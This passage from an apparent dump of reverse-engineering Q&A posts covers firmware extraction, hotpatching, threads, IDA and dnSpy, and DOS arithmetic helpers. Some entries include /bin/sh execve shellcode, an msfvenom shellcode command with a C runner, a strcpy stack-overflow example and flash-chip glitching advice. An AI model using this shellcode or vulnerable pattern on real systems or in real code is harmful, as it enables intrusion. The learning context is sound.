        "Answer": "<p>curiosity led me to google for the firmware \nfound it at mi forums \nit appears Uboot Image header and data that follows is documented fairly well<br>\ni just cooked a python script to rip the compressed blob out of the firmware \nand testing the blob with 7zip yields no errors</p>\n\n<p>script </p>\n\n<pre><code>import struct\nimport binascii\nimport datetime\nfileext = { 0:'none',1:'gzip',2:'bzip2',3:'lzma',4:'lzo'}\nfin = open(\"tf_recovery.img\" , \"rb\")\nuimghdr = fin.read(64)\nmagic,        = struct.unpack(\"!i\"   , uimghdr[ 0:4 ] )\nheadercrc32,  = struct.unpack(\"!i\"   , uimghdr[ 4:8 ] )\ntimestamp,    = struct.unpack(\"!i\"   , uimghdr[ 8:12] )\ndatasize,     = struct.unpack(\"!i\"   , uimghdr[12:16] )\nLoadAddress,  = struct.unpack(\"!i\"   , uimghdr[16:20] )\nEntryPtAddr,  = struct.unpack(\"!i\"   , uimghdr[20:24] )\nDatacrc32,    = struct.unpack(\"!i\"   , uimghdr[24:28] )\nOperatingSys, = struct.unpack(\"!b\"   , uimghdr[28:29] )\nArchitecture, = struct.unpack(\"!b\"   , uimghdr[29:30] )\nImageType,    = struct.unpack(\"!b\"   , uimghdr[30:31] )\nCompressType, = struct.unpack(\"!b\"   , uimghdr[31:32] )\nImageName,    = struct.unpack(\"!32s\" , uimghdr[32:64] )\nuimgdata = fin.read(datasize)\nfin.close()\ncopy = list(uimghdr)\ncopy[4:8] = '\\x00\\x00\\x00\\x00' \ncrcdata = ''.join(copy)\nrealhdrcrc32 = binascii.crc32(crcdata)\nrealdatacrc32 = binascii.crc32(uimgdata)\nassert ( realhdrcrc32  == headercrc32 )\nassert ( realdatacrc32 == Datacrc32 )\nprint (\"UBoot Header Magic %s\" ) % hex(magic)\nprint (\"UBoot Header crc32 %s\" ) % hex( realhdrcrc32)\nprint (\"UBoot Header Tstmp %s\" ) % datetime.datetime.fromtimestamp(timestamp)\nprint (\"UBoot Header DSize %s\" ) % hex(datasize)\nprint (\"Uboot Compression  %s\" ) % fileext[CompressType]\nfout = open('out.xz' , 'wb')\nfout.write(uimgdata)\nfout.close()\n</code></pre>\n\n<p>and results are</p>\n\n<pre><code>:\\&gt;ubootimgdump.py\nUBoot Header Magic 0x27051956\nUBoot Header crc32 0x5799cfc3\nUBoot Header Tstmp 2018-06-06 12:32:07\nUBoot Header DSize 0x1a4ffc\nUboot Compression  lzma\n\n:\\&gt;e:\\7Z\\7z.exe t out.xz\n\n7-Zip [32] 15.14 : Copyright (c) 1999-2015 Igor Pavlov : 2015-12-31\n\nScanning the drive for archives:\n1 file, 1724412 bytes (1684 KiB)\n\nTesting archive: out.xz\n--\nPath = out.xz\nType = xz\nPhysical Size = 1724412\nMethod = LZMA2:23 CRC64\nStreams = 1\nBlocks = 1\n\nEverything is Ok\n\nSize:       3590624\nCompressed: 1724412\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "20633",
        "CreationDate": "2019-02-16T20:49:51.190",
        "Body": "<p>This is the beginning of one of the functions inside NTDLL of Windows XP:</p>\n\n<pre><code>MOV EDI,EDI\nPUSH EBP\nMOV EBP,ESP\n...\n</code></pre>\n\n<p>The book on reverse engineering I am reading(Eldad Eilam - Reversing: Secrets of Reverse Engineering) says this about the first line:</p>\n\n<blockquote>\n  <p>It is essentially dead code that was put in place by the compiler as a\n  placeholder, in case someone wanted to trap this function. Trapping\n  means that some external component adds a JMP instruction that is used\n  as a notification whenever the trapped function is called.</p>\n</blockquote>\n\n<p>Can you show me how exactly can trapping be used in practice? I assume that trapping is just calling a function with trapping instruction inside the other function, but I don't realize how the outside function can get \"notified\" about the call... Is it possible the author meant by \"some external component\" the debugger? It can make sense because if I set a breakpoint for some strange assembly insruction like <code>MOV EDI, EDI</code>, I'll get to where trapped function is... </p>\n",
        "Title": "When can trapping be used?",
        "Tags": "|disassembly|windows|binary-analysis|dll|",
        "Answer": "<p><code>mov edi, edi</code> is an instruction that is called hotpatch point </p>\n\n<p>there are several articles about it on the internet, notable among them are: </p>\n\n<ol>\n<li><a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20110921-00/?p=9583\" rel=\"nofollow noreferrer\">Raymond Chens old new thing 1</a>   </li>\n<li><a href=\"http://Raymond%20Chens%20old%20new%20thing]%20link%201\" rel=\"nofollow noreferrer\">Raymond Chens old new thing 2</a>  </li>\n<li><a href=\"https://jpassing.com/2011/05/03/windows-hotpatching-a-walkthrough/\" rel=\"nofollow noreferrer\">Johannas passing's Hot patch walkthrough</a></li>\n</ol>\n\n<p>The main utility for this instruction is to enable a third party app or Windows update to patch an existing function to a newer function  with minimal side effects when obscure race conditions become a reality  (hard patching any function with a detour will work most of the time or as raymond puts will work 99% of the time </p>\n\n<p>quoting from the article linked</p>\n\n<blockquote>\n  <p>The MOV EDI, EDI instruction is a two-byte NOP, which is just enough\n  space to patch in a jump instruction so that the function can be\n  updated on the fly. The intention is that the MOV EDI, EDI instruction\n  will be replaced with a two-byte JMP $-5 instruction to redirect\n  control to five bytes of patch space that comes immediately before the\n  start of the function. Five bytes is enough for a full jump\n  instruction, which can send control to the replacement function\n  installed somewhere else in the address space.</p>\n</blockquote>\n\n<p>the <code>mov edi, edi</code> is used in conjunction with five space holders emitted by the compiler before the <code>mov edi, edi</code> like <code>0xcc</code> or <code>0x90</code>  </p>\n\n<p>so the patching software can patch in an atomically replaceable short jump and a long jump to a control area</p>\n"
    },
    {
        "Id": "20641",
        "CreationDate": "2019-02-17T19:17:27.437",
        "Body": "<p>I have a PE executable which uses threads to handle most of its functionality. It uses <code>CreateThread</code> API to spawn local threads to handle functions.</p>\n\n<p><a href=\"https://i.stack.imgur.com/p9g5w.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/p9g5w.png\" alt=\"enter image description here\"></a></p>\n\n<p>The call to the CreateThread returns a valid handle value.</p>\n\n<p><a href=\"https://i.stack.imgur.com/IMY5T.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IMY5T.png\" alt=\"enter image description here\"></a></p>\n\n<p>The problem is sometimes I don't see the thread getting created.</p>\n\n<p>Or other times the thread gets created but none of the code that's specified at that thread's start address gets executed.(even though the thread is created with the <code>dwCreationFlags</code> parameter being set to 0)</p>\n\n<p>What would the problem be?</p>\n\n<p>P.S. I can't share the executable but I can provide more screenshots.</p>\n",
        "Title": "CreateThread returns true but thread doesn't run",
        "Tags": "|debugging|malware|c|thread|",
        "Answer": "<p>you mean the thread doesn't run when you have single stepped out of the CreateThread()  call  ??</p>\n\n<p>if yes then the Windows Scheduler hasn't yet found time to Schedule your Threads Code  </p>\n\n<p>you can confirm when the code is run by Setting  breakpoint on the LP_THREAD_ROUTINE   </p>\n\n<p>Argument passed to CreateThread() probably be in <strong>R8D</strong> in your screenshot i think    </p>\n\n<p>the Threads Code Will run only when your existing thread (main ) has ceded control by Calling Any Of the  Wait Functions  </p>\n\n<p>you can verify that with some code like this </p>\n\n<p>here you create 5 threads but since you waste time in the loop and do not cede control to Windows Scheduler none of your Thread Routine is Executed until the WaitForMsg Function is called and your main thread goes idle waiting </p>\n\n<pre><code>#include &lt;windows.h&gt;\n#include &lt;stdio.h&gt;\n#define MAXT 5\nDWORD WINAPI ThFunc( LPVOID parm ) {\n    printf(\"Thread No %p\\n\" , parm);\n    return 0;\n}\n\nint main (void) {\n    DWORD   Tid[MAXT]   = {0};\n    HANDLE  Thand[MAXT] = {0};\n    int     Data[MAXT+1]  = {0};\n    for(int i =0; i &lt; MAXT; i++) {\n        Data[i] = i;\n    }\n    for(int i=0;i&lt;MAXT;i++) {\n        Thand[i] = CreateThread(NULL,0,ThFunc,(LPVOID)Data[i],0,&amp;Tid[i]);        \n        if(Thand[i] == NULL) { ExitProcess(0); } else {\n            printf (\"wasting time not ceding control to ThreadRoutine\\n\");\n            for(int j =0; j &lt; 10; j++) {\n                printf(\"%p\\n\" , Thand[i]);\n            }        \n        }\n    }\n    WaitForMultipleObjects(MAXT, Thand, TRUE, INFINITE);\n    for (int i = 0; i&lt; MAXT;i++) {\n        CloseHandle(Thand[i]);\n    }   \n}\n</code></pre>\n\n<p>and the results are below\nyou can see the Thread Routines are executed only after coming out of loop and waiting by the main thread</p>\n\n<pre><code>cthread.exe\nwasting time not ceding control to ThreadRoutine\n0000001C,0000001C,0000001C,0000001C,0000001C,0000001C\n0000001C,0000001C,0000001C,0000001C\nwasting time not ceding control to ThreadRoutine\n00000020,00000020,00000020,00000020,00000020,00000020\n00000020,00000020.00000020,00000020\nwasting time not ceding control to ThreadRoutine\n00000024,00000024,00000024,00000024,00000024,00000024\n00000024,00000024,00000024,00000024\nwasting time not ceding control to ThreadRoutine\n00000028,00000028,00000028,00000028,00000028,00000028\n00000028,00000028,,00000028,00000028\nwasting time not ceding control to ThreadRoutine\n0000002C,0000002C,0000002C,0000002C,0000002C,0000002C\n0000002C,0000002C,0000002C,0000002C,Thread No 00000000\nThread No 00000001\nThread No 00000002\nThread No 00000003\nThread No 00000004\n</code></pre>\n"
    },
    {
        "Id": "20643",
        "CreationDate": "2019-02-17T23:44:47.593",
        "Body": "<p><a href=\"https://i.stack.imgur.com/ICdXt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ICdXt.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong>the c code:</strong></p>\n\n<pre><code>void overflow (char* inbuf)\n{\n  char buf[64];\n\n  strcpy(buf, inbuf);\n}\n\nint main (int argc, char** argv)\n{\n    overflow(argv[1]);\n    return 0;\n}\n</code></pre>\n",
        "Title": "why does the following non stack shellcode load /bin/sh string without pushing it onto the Stack?",
        "Tags": "|buffer-overflow|",
        "Answer": "<p>It actually does. The push operation is performed by the call instruction.\nThis instruction will push the address of the next instruction, here the address is 0x21.\nFrom 0x21 to 0x28 you have your /bin/sh string which is, on your case, wrongly disassembled as x86 code.\nLast but not least, the linux x86 32-bit syscall calling convention doesn't use the stack at all. The parameters are passed through ebx, ecx, edx, esi, edi, ebp and the syscall number is stored in eax.</p>\n"
    },
    {
        "Id": "20646",
        "CreationDate": "2019-02-18T03:17:45.750",
        "Body": "<p>Disassembly:</p>\n\n<pre><code>0:  31 c9                    xor    ecx,ecx\n2:  f7 e1                    mul    ecx\n4:  51                       push   ecx\n5:  68 2f 2f 73 68           push   0x68732f2f\na:  68 2f 62 69 6e           push   0x6e69622f\nf:  89 e3                    mov    ebx,esp\n11: b0 0b                    mov    al,0xb\n13: cd 80                   int    0x80\n15: 51                      push   ecx\n16: b0 01                   mov    al,0x1\n18: cd 80                   int    0x80\n</code></pre>\n",
        "Title": "Can anyone please explain the following dissasembly codes?",
        "Tags": "|disassembly|assembly|x86|shellcode|",
        "Answer": "<pre><code>0:  31 c9                 xor    ecx,ecx     ;; ecx = 0\n2:  f7 e1                 mul    ecx         ;; eax = eax * ecx (set eax to 0)\n4:  51                    push   ecx         ;; push 0 on stack (string end)\n5:  68 2f 2f 73 68        push   0x68732f2f  ;; push \"//sh\" on stack\na:  68 2f 62 69 6e        push   0x6e69622f  ;; push \"/bin\" on stack\nf:  89 e3                 mov    ebx,esp     ;; ebx = esp (esp = @\"/bin//sh\\0\")\n11: b0 0b                 mov    al,0xb      ;; eax = 0xb (sys_call_execve)\n13: cd 80                 int    0x80        ;; call execve(\"/bin//sh\")\n15: 51                    push   ecx         ;; push 0 on stack\n16: b0 01                 mov    al,0x1      ;; eax = 1 (sys_call_exit)\n18: cd 80                 int    0x80        ;; call exit(ebx)\n</code></pre>\n\n<p>Basically, this is a shellcode that run <code>/bin/sh</code> and, then, <code>exit()</code>.</p>\n"
    },
    {
        "Id": "20656",
        "CreationDate": "2019-02-19T08:48:41.893",
        "Body": "<p>I have generated an alphanumeric shellcode with this command:</p>\n\n<pre><code>msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed BufferRegister=ECX -f python\n</code></pre>\n\n<p>I am targeting a 32 bits x86 architecture on Linux.</p>\n\n<p>Here is the shell code (i've converted it into a string):</p>\n\n<pre><code>IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA\n</code></pre>\n\n<p>Here is a very basic c program which runs the shellcode:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\ntypedef void (*shellcode_t)();\n// unsigned char code[] = \"\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";\nunsigned char code[] = \"IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI0jTK68mIcbCVrHDmsSOyywSXfO2SsXgpe86OSRSY2NOyYs1Byxc8s0WpUPDo0b2I2NVOCCSXs0V7RsK9yq8Mk0AA\";\n\n\nint main (int argc, char * argv[])\n{\n  shellcode_t appel = (shellcode_t)code;\n  appel();\n\n  return 0;\n}\n</code></pre>\n\n<p>Here is how i compile it:</p>\n\n<pre><code>$ cc -Wall -m32 -z execstack -fno-stack-protector -O0 test.c -o test\n</code></pre>\n\n<p>When i run the program i get a segfault.</p>\n\n<p>Please note the classical shellcode i've commented in the c program works perfectly. So it is not a c program compilation issue.</p>\n\n<p>Thanks</p>\n",
        "Title": "alphanumeric shellcode",
        "Tags": "|shellcode|metasploit|",
        "Answer": "<p>Alphanumeric shellcode expects the location of the shellcode to be stored in a register, since the usual technique of call/pop can't be performed with the limited character set.</p>\n\n<p>In your example above this is set using BufferRegister=ECX, your C program doesn't take this into account though, which is why it crashes. Taking out the BufferRegister directive will give you a shellcode blob that determines the location manually, but isn't pure alphanumeric. This should run in your program though.</p>\n\n<p>An alternative would be to use something that runs shellcode from a file, since these often have a jmp/call reg32, which you can then use with BufferRegister.</p>\n"
    },
    {
        "Id": "20657",
        "CreationDate": "2019-02-19T12:38:42.117",
        "Body": "<p>Over the IDA Gui it is possible to export a structure with dependencies to a header file. For example if I export a struct that has one member from type DWORD than the header file also contains &quot;typedef unsigned int DWORD&quot;.</p>\n<p>I want to do a similar task with the python api.</p>\n<pre><code>def get_member_type(struct, idx):\n   member = ida_struct.get_member(struct, idx)\n   tif = tinfo_t()\n   ida_struct.get_member_tinfo(member, tif)\n   return tif\n</code></pre>\n<p>This function return the type of the struct members for example &quot;DWORD&quot; but how can I get the information that this is a unsigned int?</p>\n",
        "Title": "IDA Python get struct type with dependencies",
        "Tags": "|ida|python|",
        "Answer": "<p>This works perfectly for me, it even delineates <code>int</code> from <code>int32_t</code>.</p>\n<pre><code>def get_member_typename(sid, offset):\n    s = ida_struct.get_struc(sid)\n    m = ida_struct.get_member(s, offset)\n    tif = ida_typeinf.tinfo_t()\n    if ida_struct.get_member_tinfo(m, tif):\n        return tif.__str__() \n    return &quot;&quot;    \n</code></pre>\n"
    },
    {
        "Id": "20670",
        "CreationDate": "2019-02-20T12:39:06.967",
        "Body": "<p>I am trying to add another button into windows form using dnSpy. Is it possible to add another?<a href=\"https://i.stack.imgur.com/EehrI.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EehrI.png\" alt=\"\"></a></p>\n\n<p>I want the end result be like this one.\n<a href=\"https://i.stack.imgur.com/qpqLs.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qpqLs.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any help will be highly appreciated.Thanks</p>\n",
        "Title": "What methods exist for adding new windows form controls into compiled assembly using dnSpy?",
        "Tags": "|c#|visual-basic|",
        "Answer": "<p>Yes, it is possible!</p>\n\n<p>You'll have to do some trial and error for positioning though.</p>\n\n<p><a href=\"https://i.stack.imgur.com/8Ta0V.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8Ta0V.png\" alt=\"Example form\"></a></p>\n\n<p>Adding in a new control is fairly easy. We essentially need to do what the designer usually automatically does for us and create the new control and set up its properties ourselves. Luckily, we can use the button that's already there as a template. </p>\n\n<p>First order of business is declaring our new button. Right click inside the class and hit \"Edit Class\" to open the code editor. Scroll down to the bottom where the variables are declared and declare our new button like so:</p>\n\n<pre><code>public Button button2;\n</code></pre>\n\n<p>Once that's done, you should be able to find the designer auto-generated <code>InitializeComponent()</code> method for the form you want to modify. This is the function that does the initial setup for our form. it'll look something like this:</p>\n\n<pre><code>private void InitializeComponent()\n    {\n        this.button1 = new Button();\n        base.SuspendLayout();\n        this.button1.Location = new Point(189, 45);\n        this.button1.Name = \"button1\";\n        this.button1.Size = new Size(170, 53);\n        this.button1.TabIndex = 0;\n        this.button1.Text = \"ADD ANOTHER LIKE ME\";\n        this.button1.UseVisualStyleBackColor = true;\n        base.AutoScaleDimensions = new SizeF(6f, 13f);\n        base.AutoScaleMode = AutoScaleMode.Font;\n        base.ClientSize = new Size(563, 329);\n        base.Controls.Add(this.button1);\n        base.Name = \"Form1\";\n        this.Text = \"Form1\";\n        base.ResumeLayout(false);\n    }\n</code></pre>\n\n<p>We can copy and paste the creation code for the button that already exists in this case and replace \"button1\" with \"button2\". You'll probably want to change the tab index too.</p>\n\n<pre><code>private void InitializeComponent()\n    {\n        this.button1 = new Button();\n        this.button2 = new Button();\n        base.SuspendLayout();\n        this.button1.Location = new Point(189, 45);\n        this.button1.Name = \"button1\";\n        this.button1.Size = new Size(170, 53);\n        this.button1.TabIndex = 0;\n        this.button1.Text = \"ADD ANOTHER LIKE ME\";\n        this.button1.UseVisualStyleBackColor = true;\n\n        this.button2.Location = new Point(189, 145);\n        this.button2.Name = \"button2\";\n        this.button2.Size = new Size(170, 53);\n        this.button2.TabIndex = 1;\n        this.button2.Text = \"I am Added\";\n        this.button2.UseVisualStyleBackColor = true;\n\n        base.AutoScaleDimensions = new SizeF(6f, 13f);\n        base.AutoScaleMode = AutoScaleMode.Font;\n        base.ClientSize = new Size(563, 329);\n        base.Controls.Add(this.button1);\n        base.Name = \"Form1\";\n        this.Text = \"Form1\";\n        base.ResumeLayout(false);\n    }\n</code></pre>\n\n<p>Then, to get your button to actually appear, you'll need to add the line <code>base.Controls.Add(this.button2);</code> under <code>base.Controls.Add(this.button1);</code>.</p>\n\n<p>We're not done yet, as our new button will have the exact same properties as the original if we leave it like this, and will appear in the same place with the same text. Replacing the text is easy, simply change the value of <code>this.button2.Text</code> to your desired value. The position will take a little trial and error.</p>\n\n<p>You'll need to edit this line:</p>\n\n<pre><code>this.button2.Location = new Point(189, 45);\n</code></pre>\n\n<p>Here, the first argument of <code>Point</code> is the button's X position and the second is the button's Y position. To move the button downwards as seen in your question, you'll need to increase the Y position. How much you need to increase it depends on where you want the new button to be.</p>\n\n<p>To save and test your changes, go to <code>File -&gt; Save Module</code>. Your final code should look something like this:</p>\n\n<pre><code>// Token: 0x02000002 RID: 2\npublic class Form1 : Form\n{\n    // Token: 0x06000001 RID: 1\n    public Form1()\n    {\n        this.InitializeComponent();\n    }\n\n    // Token: 0x06000002 RID: 2\n    protected override void Dispose(bool disposing)\n    {\n        if (disposing &amp;&amp; this.components != null)\n        {\n            this.components.Dispose();\n        }\n        base.Dispose(disposing);\n    }\n\n    // Token: 0x06000003 RID: 3\n    private void InitializeComponent()\n    {\n        this.button1 = new Button();\n        this.button2 = new Button();\n        base.SuspendLayout();\n        this.button1.Location = new Point(189, 45);\n        this.button1.Name = \"button1\";\n        this.button1.Size = new Size(170, 53);\n        this.button1.TabIndex = 0;\n        this.button1.Text = \"ADD ANOTHER LIKE ME\";\n        this.button1.UseVisualStyleBackColor = true;\n        this.button2.Location = new Point(189, 145);\n        this.button2.Name = \"button2\";\n        this.button2.Size = new Size(170, 53);\n        this.button2.TabIndex = 1;\n        this.button2.Text = \"I am Added\";\n        this.button2.UseVisualStyleBackColor = true;\n        base.AutoScaleDimensions = new SizeF(6f, 13f);\n        base.AutoScaleMode = AutoScaleMode.Font;\n        base.ClientSize = new Size(563, 329);\n        base.Controls.Add(this.button1);\n        base.Controls.Add(this.button2);\n        base.Name = \"Form1\";\n        this.Text = \"Form1\";\n        base.ResumeLayout(false);\n    }\n\n    // Token: 0x04000001 RID: 1\n    private IContainer components;\n\n    // Token: 0x04000002 RID: 2\n    private Button button1;\n\n    public Button button2;\n}\n</code></pre>\n\n<p>and my final form looked like this:\n<a href=\"https://i.stack.imgur.com/gSFPS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/gSFPS.png\" alt=\"Final form\"></a></p>\n\n<p>I hope this helped!</p>\n"
    },
    {
        "Id": "20671",
        "CreationDate": "2019-02-20T20:29:28.510",
        "Body": "<p>I'm investigating the glitch attacks scenario and in particular, I read about the <em>Nand Glitching</em> with an example <a href=\"https://www.youtube.com/watch?v=16-9BNDYxjY\" rel=\"nofollow noreferrer\">here</a>. During my steps into reverse engineering a home router - you can read my steps <a href=\"https://blog.kartone.ninja/2019/02/07/reverse-engineering-the-router-technicolor-tg582n/\" rel=\"nofollow noreferrer\">here</a> - I was wondering if this attack is applicable not only to NAND memory but also to the classic SPI Flash memory, like the one you can read in the aforementioned post.</p>\n\n<p>In case it's possible, do you have any resource where I can study from? Also, what PINs need to be shortcircuited to try the attack?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Glitch attack on a SPI flash eeprom",
        "Tags": "|hardware|",
        "Answer": "<p>As I know that specific glitch is specific to that device. I.e. it's firmware is written so that the device switches to the prompt in case it failed to access NAND. And if there was some other logic, like \"reboot the device if NAND is not accessible\", this NAND glitch won't be exploitable at all. Thus if it will work for EEPROM or not, depends on how the boot logic is organized in TG582N firmware. </p>\n\n<p>Regarding the EEPROM pin, which you need to ground: <a href=\"https://www.exploitee.rs/index.php/Wink_Hub\" rel=\"nofollow noreferrer\">https://www.exploitee.rs/index.php/Wink_Hub</a>\u200b\u200b they are grounding pin 29 of NAND chip, which is I/O1 pin. In case of EEPROM (which in your case is s25fl064l) I would try to ground SO/IO 1, SO/IO 0 pins, see the datasheet of s25fl064l.</p>\n"
    },
    {
        "Id": "20689",
        "CreationDate": "2019-02-22T17:36:08.810",
        "Body": "<p>For a CTF I have a fairly slow recursive function. I just need to cached the previous results in a dictionary and get them instead. I did it but had to reverse engineer the code. I was wondering if there is a better solution.</p>\n\n<p>LD_PRELOAD won't work as it is a static binary. If I could copy the assembly and call the function in a C program with <strong>asm</strong> I could get it done but is there a better solution or a way to patch the binary and create a function that caches the slow one? We could path the binary or use somethings to hook the function call.</p>\n",
        "Title": "(CTF) Speed up assembly by hooking to an static function",
        "Tags": "|disassembly|assembly|c|",
        "Answer": "<p>You can definitely edit the binary and implement a new function that handles caching and calls the original function as needed. Then just replace any call to your new cache-implementing function instead. You'll need to be careful when implementing the cache for a recursive function and decide if you wanna cache all intermediate results or only final results.</p>\n\n<p>If you're looking for a fast solution, though, you may want to consider using an emulator as a way of running that function's code inside your program. Either using Unicorn, any other emulator or even IDAs app call for function execution.</p>\n"
    },
    {
        "Id": "20703",
        "CreationDate": "2019-02-24T13:24:52.843",
        "Body": "<p>I'm in a reverse engineering class. Our current assignment is to edit a notepad.exe application. Just to start out, I opened my notepad.exe in FlexHex, went to the end of the.rsrc section, changed a byte in one of the stock text strings from &quot;70&quot; to &quot;31&quot; and then saved the new file as an .exe. The size of the section and the overall file remains the same. Below is the line I changed.</p>\n<p><a href=\"https://i.stack.imgur.com/XDfp3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/XDfp3.png\" alt=\".rsrc line I changed\" /></a></p>\n<p>When I try to run the file, I get an error that Windows cannot run the file, specifically &quot;This app cannot run on your PC&quot;. I didn't think that I changed anything essential. I'm wondering if Windows is preventing me from running a modified version of a Window's program. Is there a way to specify that Windows should run this program?</p>\n<p>Any help is appreciated, thank you.</p>\n",
        "Title": "Windows 10 will not run hex edited application",
        "Tags": "|operating-systems|binary-editing|",
        "Answer": "<p>I think \u201cnotepad.exe\u201d has been digitally signed by Microsoft. You cannot change it because the signature will ( very very probably) be invalid. The OS doesn\u2019t trust it anymore. </p>\n"
    },
    {
        "Id": "20712",
        "CreationDate": "2019-02-25T17:07:25.480",
        "Body": "<p>I have been trying to figure out the assembly for part of a DOS game and there is an operation that keeps getting called that uses all 4 registers.  I can see what each line does but I can't for the life of me figure out what all the code together is meant be doing.  </p>\n\n<p>Can anyone give me some idea?  </p>\n\n<p>The code is:</p>\n\n<pre><code>seg000:3825 some_math_op_on_regs proc far; CODE XREF: sub_72C6+19FP\nseg000:3825                              ; sub_72C6+1DDP ...\nseg000:3825       cmp     cl, 10h\nseg000:3828       jnb     short loc_383A ; Jump if CF=0\nseg000:382A       mov     bx, dx         ; c register is &lt; 16; move d to b\nseg000:382C       shr     ax, cl         ; Shift a right by value in c (logical)\nseg000:382E       sar     dx, cl         ; Shift d right by value in c (arithmetic)\nseg000:3830       neg     cl             ; Negate c (2's complement)\nseg000:3832       add     cl, 10h        ; Add 16 to c\nseg000:3835       shl     bx, cl         ; Shift b left by value in c (logical)\nseg000:3837       or      ax, bx         ; OR a and b, store result in a\nseg000:3839       retf\nseg000:383A ; --------------------------------------------------------------------\nseg000:383A\nseg000:383A loc_383A:                    ; CODE XREF: some_math_op_on_regs+3j\nseg000:383A       sub     cl, 10h        ; c register is &gt;= 16; subtract 16 from c\nseg000:383D       xchg    ax, dx         ; Switch values in a and d\nseg000:383E       cwd                    ; Convert word to doubleword\nseg000:383F       sar     ax, cl         ; Shift a right by value in c (arithmetic)\nseg000:3841       retf\nseg000:3841 some_math_op_on_regs endp\n</code></pre>\n",
        "Title": "What's this assembly doing?",
        "Tags": "|disassembly|x86|dos|",
        "Answer": "<p>This looks like a 32-bit <em>shift right</em> compiler helper. In 16-bit era, 32-bit numbers were represented by a pair of registers, in this case <code>ax:dx</code>. The check for 16 is an optimization: if the shift is over 16, the low register value is lost completely, so it can be discarded and replaced by <code>dx&gt;&gt;(shift-16)</code>, while the high register is filled with the sign bit as the result of the <code>cwd</code> instruction. Here's the (lightly) commented source code from the Borland C runtime library which seems to match yours:</p>\n\n<pre><code>;[]-----------------------------------------------------------------[]\n;|      H_LRSH.ASM -- long shift right                               |\n;[]-----------------------------------------------------------------[]\n\n;\n;       C/C++ Run Time Library - Version 5.0\n; \n;       Copyright (c) 1987, 1992 by Borland International\n;       All Rights Reserved.\n; \n\n        INCLUDE RULES.ASI\n\n_TEXT   segment public byte 'CODE'\n        assume  cs:_TEXT\n        public  LXRSH@\n        public  F_LXRSH@\n        public  N_LXRSH@\n\nN_LXRSH@:\n        pop     bx                      ;fix up for far return\n        push    cs\n        push    bx\nLXRSH@:\nF_LXRSH@:\n        cmp     cl,16\n        jae     lsh@small\n        mov     bx,dx                   ; save the high bits\n        shr     ax,cl                   ; now shift each half\n        sar     dx,cl\n;\n;                       We now have a hole in AX where the lower bits of\n;                       DX should have been shifted.  So we must take our\n;                       copy of DX and do a reverse shift to get the proper\n;                       bits to be or'ed into AX.\n;\n        neg     cl\n        add     cl,16\n        shl     bx,cl\n        or      ax,bx\n        retf\nlsh@small:\n        sub     cl,16                   ; for shifts more than 15, do this\n                                        ; short sequence.\n        xchg    ax,dx                   ;\n        cwd                             ; We have now done a shift by 16.\n        sar     ax,cl                   ; Now shift the remainder.\n        retf\n_TEXT   ends\n        end\n</code></pre>\n"
    },
    {
        "Id": "20718",
        "CreationDate": "2019-02-25T22:19:23.173",
        "Body": "<p>I've disassembled an old DOS program into assembly and I'm trying to figure out a function call.  Here is the ASM:</p>\n\n<pre><code>seg000:373C ; \u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6 S U B R O U T I N E \u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\u00a6\nseg000:373C\nseg000:373C\nseg000:373C sub_373C        proc far                ; CODE XREF: sub_72C6+16BP\nseg000:373C                                         ; sub_72C6+18FP ...\nseg000:373C                 push    si              ; Temp. store si on stack so we can restore it later\nseg000:373D                 xchg    ax, si\nseg000:373E                 xchg    ax, dx\nseg000:373F                 test    ax, ax\nseg000:3741                 jz      short loc_3745\nseg000:3743                 mul     bx              ; Multiply b by a IIF a is non-zero\nseg000:3745\nseg000:3745 loc_3745:                               ; CODE XREF: sub_373C+5j\nseg000:3745                 jcxz    short loc_374C\nseg000:3747                 xchg    ax, cx\nseg000:3748                 mul     si\nseg000:374A                 add     ax, cx\nseg000:374C\nseg000:374C loc_374C:                               ; CODE XREF: sub_373C:loc_3745j\nseg000:374C                 xchg    ax, si\nseg000:374D                 mul     bx\nseg000:374F                 add     dx, si\nseg000:3751                 pop     si              ; Restore old si\nseg000:3752                 retf\nseg000:3752 sub_373C        endp\n</code></pre>\n\n<p>Frankly it just seems to be jumbling the registers around to me.  My best guess is that it's some kind of primitive pseudo-random number generator.  Can anyone confirm this or if not, tell me what it's actually meant to do?</p>\n\n<p><strong>EDIT:</strong><br>\nI've tried dry-running the code, and as far as I can tell, the following is the end result of the registers (can anyone confirm I've got this right and tell me what useful mathematical function it might be doing?):</p>\n\n<pre><code>ax: ( ax * bx )\nbx: bx\ncx: cx\ndx: ax + ( (bx * dx) + (ax * cx) 